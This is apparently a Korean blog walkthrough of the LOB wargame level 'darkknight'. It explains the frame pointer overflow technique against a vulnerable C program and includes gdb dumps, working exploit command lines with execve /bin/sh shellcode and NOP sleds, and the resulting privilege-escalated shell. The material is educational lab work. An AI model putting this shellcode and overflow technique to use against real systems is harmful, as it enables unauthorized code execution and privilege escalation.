LOB golem => darkknight

c0wb3ll ㅣ 2020. 4. 2. 12:36

LOB golem => darkknight

문제

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
    char buffer[40];
    strncpy(buffer, src, 41);
    printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }

    problem_child(argv[1]);
}

소스코드를 읽으면 문제 파일명 밑에 기법이 써져있는 것을 오늘 처음 알았다.

문제 내용을 살펴보면

  1. FPO기법 사용해야하고
  2. buffer의 크기인 40byte 보다 1byte 더 많이 argv[1]에서 buffer로 옮겨온다.
  3. argv[1]의 입력받는 크기에 제한이 없다.

FPO ( Frame Pointer Overflow )

우선 FPO를 하기 위해서는 아래 조건을 만족해야 한다.

  1. main() 외에 서브 함수가 1개 이상 존재해야 한다.
  2. 서브함수에서 SFP 의 하위 1byte가 오버플로우가 가능해야 한다.

그럼 이제 FPO에 대해서 알아보자.

위에 소스코드를 보면 입력받은 argv[1]인자를 problem_child 함수를 호출하여 거기로 가져간다. 이러한 과정과 같이 일련의 과정을 거쳐서 call 명령으로 다른 함수가 호출되었고 이 함수의 에필로그가 실행될 때 발생한다. 이 때 스택 상태는 이렇게 된다.

image

image

그 후 pop ebp 과정에서 변조된 SFP 하위 1byte를 이용하여 ebp를 shellcode-4의 주소로 이동을 시킬 수 있다.

image

이제 ret가 실행되면 esp가 가리키는 값을 eip에 넣고 jmp를 하여 해당 주소로 점프하게 된다. 이 때 보통 eip가 가리키고 있는 값이 ret라서 돌아갈 주소로 점프하는 것이다.

이 후 메인 함수로 넘어온 뒤 일련의 과정이 끝나고 main()의 에필로그가 실행될 때 어떤 현상이 일어나는지 지켜보자.

image

이렇게 mov esp, ebp를 통해 esp를 ebp의 위치로 보내고 그 위치는 저번에 ebp를 보낸 shellcode-4의 위치가 된다.

image

그럼 그 후 pop ebp가 실행되면서 ebp는 어딘가로 이동한다. 이 때 중요한 점은 esp가 buffer[40]의 위치를 가리키게 된다는 것이다. 이 때 buffer에 쉘코드가 존재한 주소를 넣게 된다면 어떤 일이 일어날까? eip로 esp가 가르킨 buffer에 4byte를 넣고 쉘코드 주소로 eip를 가져가 쉘코드를 실행하게 될 것이다. 이것이 FPO기법이다.


풀이

0x8048440 <problem_child>:    push   %ebp
0x8048441 <problem_child+1>:    mov    %ebp,%esp
0x8048443 <problem_child+3>:    sub    %esp,40
0x8048446 <problem_child+6>:    push   41
0x8048448 <problem_child+8>:    mov    %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>:    push   %eax
0x804844c <problem_child+12>:    lea    %eax,[%ebp-40]
0x804844f <problem_child+15>:    push   %eax
0x8048450 <problem_child+16>:    call   0x8048374 <strncpy>
0x8048455 <problem_child+21>:    add    %esp,12
0x8048458 <problem_child+24>:    lea    %eax,[%ebp-40]
0x804845b <problem_child+27>:    push   %eax
0x804845c <problem_child+28>:    push   0x8048500
0x8048461 <problem_child+33>:    call   0x8048354 <printf>
0x8048466 <problem_child+38>:    add    %esp,8
0x8048469 <problem_child+41>:    leave  
0x804846a <problem_child+42>:    ret    
0x804846b <problem_child+43>:    nop    
End of assembler dump.
(gdb) 

problem child에 에필로그가 시작하는 leave 부분에 bp를 걸어주자.

(gdb) r `python -c "print 'A'*40 + 'B' + 'C'*200"`
Starting program: /home/golem/tmp/darkknight `python -c "print 'A'*40 + 'B' + 'C'*200"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB?퓹???풶?옹    @

Breakpoint 1, 0x8048469 in problem_child ()
(gdb) 

A를 이용하여 buffer의 위치를 파악하고 B를 이용하여 SFP의 하위 1byte C를 이용하여 쉘코드가 위치할 곳에 주소를 알아보는 과정이다.

0xbffffa00:    0xbffffa04    0x41414141    0x41414141    0x41414141
0xbffffa10:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffa20:    0x41414141    0x41414141    0x41414141    0xbffffa42
0xbffffa30:    0x0804849e    0xbffffb9f    0xbffffa58    0x400309cb
0xbffffa40:    0x00000002    0xbffffa84    0xbffffa90    0x40013868

414141로 A가 들어간것을 알 수 있고 0xbffffa42 에서 'B'인 42가 들어가 SFP 하위 1byte를 변조한것까지 확인할 수 있다. 또한 0x41414141이 시작하는 부분이 0xbffffa04 이기 때문에 변조할 하위 1byte는 '\x00'으로 해주면 될 것 같다.

0xbffffb90:    0x2f706d74    0x6b726164    0x67696e6b    0x41007468
0xbffffba0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbb0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffbc0:    0x41414141    0x42414141    0x43434343    0x43434343
0xbffffbd0:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffbe0:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffbf0:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc00:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc10:    0x43434343    0x43434343    0x43434343    0x43434343
0xbffffc20:    0x43434343    0x43434343    0x43434343    0x43434343

쭉 진행하다 보면 0x43434343이 보이기 시작한다. 0x43434343이 시작하는 0xbfffffbc8이 쉘코드의 주소가 될 것이므로 buffer에 맨처음에는 0xbffffbc8을 넣으면 될 것 같다.

필요한 정보는 모두 모은 것 같으니 익스 코드를 짜보자.

./darkknight `python -c "print '\xc8\xfa\xff\xbf' + 'A'*36 + '\x00' + '\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
[golem@localhost tmp]$ 

다음과 같이 segmentation fault와 함께 core파일이 생성된 것을 확인할 수 있다. 무엇이 문제인지 확인해보자.

0xbffff9b8:    0x08048466    0x08048500    0xbffff9c4    0xbffffb78
0xbffff9c8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff9d8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff9e8:    0x41414141    0xbffff9b0    0x0804849e    0xbffffb4e
0xbffff9f8:    0xbffffa18    0x400309cb    0x00000002    0xbffffa44

gdb와 실제 파일의 메모리 주소가 실질적으로는 다르게 올라가는 것도 하나의 문제점이고 또

0xbffffc28:    0x696e6b6b    0x00746867    0xbffffac8    0x41414141
0xbffffc38:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc48:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffffc58:    0x44575000    0x6f682f3d    0x672f656d    0x6d656c6f
0xbffffc68:    0x706d742f    0x4d455200    0x4845544f    0x3d54534f

다음과 같이 nop과 함께 있어야 할 쉘코드가 보이지 않는다. 이유가 무엇일까? 그 이유는 '\x00' 때문일 것이라고 추측하고 있다. '\x00'은 NULL byte로 문자열의 끝을 알리는 기호로도 사용된다. 따라서 문자열이 끝났다고 판단하고 nop과 쉘코드를 받아오지 않은것 같다. gdb와 실제로 올라가는 주소는 틀리니 인위적으로 core파일을 생성하여 core파일을 분석해보도록 하자.

0xbffff9b8:    0x08048466    0x08048500    0xbffff9c4    0xbffffb78
0xbffff9c8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff9d8:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff9e8:    0x41414141    0xbffff9b0    0x0804849e    0xbffffb4e
0xbffff9f8:    0xbffffa18    0x400309cb    0x00000002    0xbffffa44
0xbffffb78:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffb88:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffb98:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffba8:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbb8:    0x90909090    0x90909090    0x90909090    0x90909090
0xbffffbc8:    0x90909090    0x90909090    0x90909090    0x90909090

실제로 점프할 주소는 0xbffffb88쯤으로 변조할 하위 1byte는 '\xc0'으로 주면 될 것 같다.

[golem@localhost tmp]$ ./darkknight `python -c "print '\x78\xfb\xff\xbf' + 'A'*36 + '\xc0' + '\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
x?풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA쟬퓹?N???옹    @
bash$ id
uid=511(golem) gid=511(golem) groups=511(golem)
bash$ 

이제 본 파일에서 실행하자.

[golem@localhost golem]$ ./darkknight `python -c "print '\x88\xfb\xff\xbf' + 'A'*36 + '\xa0' + '\x90'*200 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'"`
??풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA??퓹?;?원?옹    @
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ 

segmentation fault가 한 번 더 발생했따... 왠지는 모르겠지만 어쨋든 위에 과정을 반복해서 주소를 찾고 반복해주면 된다.